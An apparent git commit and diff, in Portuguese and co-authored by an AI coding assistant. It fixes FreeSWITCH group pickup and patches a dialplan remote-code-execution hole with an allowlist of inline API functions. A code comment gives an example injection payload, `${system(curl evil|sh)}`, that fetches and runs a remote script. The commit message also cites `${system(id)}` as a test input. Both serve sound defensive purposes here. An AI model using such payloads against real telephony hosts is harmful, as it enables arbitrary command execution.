fix(telefonia): pickup de grupo funcionando de verdade + RCE no dialplan + domínio real no REGISTER

Pedido explícito do usuário: "testa criando um ramal com callgroup e captura
chamada de outro ramal". O teste com softphones reais (não só leitura de
código) achou 3 problemas que a fase anterior tinha dado como resolvidos:

1. A variable de call group estava com o nome errado (`call-group`, convenção
   do Asterisk) e a suposição de que o FreeSWITCH fazia pickup automático só
   com ela era falsa. Corrigido pro nome certo (`callgroup`) e pro mecanismo
   real (fork de leg `pickup/<grupo>` no bridge + extension `*8` chamando a
   application `pickup`, lendo o grupo via `${user_data(...)}`).

2. Implementando o mecanismo acima, achada uma vulnerabilidade real de RCE: o
   allowlist de `application` no dialplan nunca bloqueava `${system(...)}`
   embutido dentro do `data` de qualquer application já permitida —
   `mod_commands` está carregado, então isso era execução de comando
   arbitrário no host do FreeSWITCH pra qualquer Tenant Admin. Corrigido com
   um segundo allowlist (`ALLOWED_INLINE_API_FUNCTIONS` +
   `IsSafeDialplanData`) que só libera funções de leitura seguras
   (`user_data`, `escape`, `url_encode`, `url_decode`, `regex`, `strftime`).

3. Registrar um softphone de verdade contra o domínio do tenant (não só curl
   no mod_xml_curl) revelava 403 Forbidden: o sofia profile `internal` tinha
   `force-register-domain`/`force-subscription-domain`/
   `force-register-db-domain` fixados no domínio antigo, ignorando o domínio
   de cada tenant. Corrigido no Dockerfile do FreeSWITCH (imagem
   reconstruída, não só patch ao vivo).

Testado ponta a ponta com 3 softphones reais (linphone-cli) em containers na
mesma rede Docker: ramal do mesmo grupo captura de verdade uma ligação
tocando em outro ramal via *8 (canais confirmados bridged via `show
channels`); ramal de grupo diferente tenta e falha. RCE confirmado bloqueado
via curl (`${system(id)}` → 400) sem quebrar `${user_data(...)}` legítimo.

TODO.md (PHASE 53) e docs/EXTENSIONS.md atualizados corrigindo as afirmações
incompletas da fase anterior ("nenhuma mudança de infra necessária").

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01BFaBaBSQGhyXGEgtTYZGV8
This commit is contained in:
2026-08-30 15:24:58 -03:00
parent 56f73bdb8f
commit af46739af2
7 changed files with 276 additions and 29 deletions

View File

@@ -27,10 +27,53 @@ export const ALLOWED_DIALPLAN_APPLICATIONS = [
"transfer",
"sleep",
"record_session",
// Group pickup (agente.md secao 178, PHASE 52) — só recebe o nome do
// grupo como texto (ou `${user_data(...)}`, já auditado acima), nunca
// um comando; mesmo padrão de risco zero dos outros já permitidos.
"pickup",
] as const;
export type AllowedDialplanApplication = (typeof ALLOWED_DIALPLAN_APPLICATIONS)[number];
/**
* Achado real de segurança (secao 180): o allowlist de `application` acima
* NÃO bastava. FreeSWITCH expande `${nome(args)}` (chamada de API) dentro
* de qualquer atributo `data` em tempo de chamada — inclusive de uma
* application "segura" já permitida como `set`/`export`/`playback`. Com
* `mod_commands` carregado (está, ver infrastructure/freeswitch), a API
* `system`/`bg_system` roda comando de shell arbitrário no host do
* FreeSWITCH. Sem este segundo allowlist, `{"application":"set","data":
* "x=${system(curl evil|sh)}"}` era RCE completo, alcançável por qualquer
* Tenant Admin com `freeswitch.configure` (secao 144). `${variavel}` SEM
* parênteses (ex.: `${destination_number}`) nunca é bloqueado — é só
* interpolação de valor, não chamada de API.
*/
export const ALLOWED_INLINE_API_FUNCTIONS = [
"user_data", // lookup de variável do directory de outro usuário (pickup group)
"escape",
"url_encode",
"url_decode",
"regex",
"strftime",
] as const;
const INLINE_FUNCTION_CALL_PATTERN = /\$\{\s*([a-zA-Z_][a-zA-Z0-9_]*)\s*\(/g;
/** Devolve os nomes de função `${nome(...)}` usados em `text` que NÃO
* estão no allowlist acima — vazio = texto seguro. Usado em `data` de
* action/anti-action (nunca em `conditionExpr`, que é regex estático,
* nunca expandido pelo FreeSWITCH). */
export function findDisallowedInlineFunctionCalls(text: string): string[] {
const found = new Set<string>();
for (const match of text.matchAll(INLINE_FUNCTION_CALL_PATTERN)) {
const name = match[1];
if (!(ALLOWED_INLINE_API_FUNCTIONS as readonly string[]).includes(name)) {
found.add(name);
}
}
return Array.from(found);
}
export const ALLOWED_CONDITION_FIELDS = [
"destination_number",
"caller_id_number",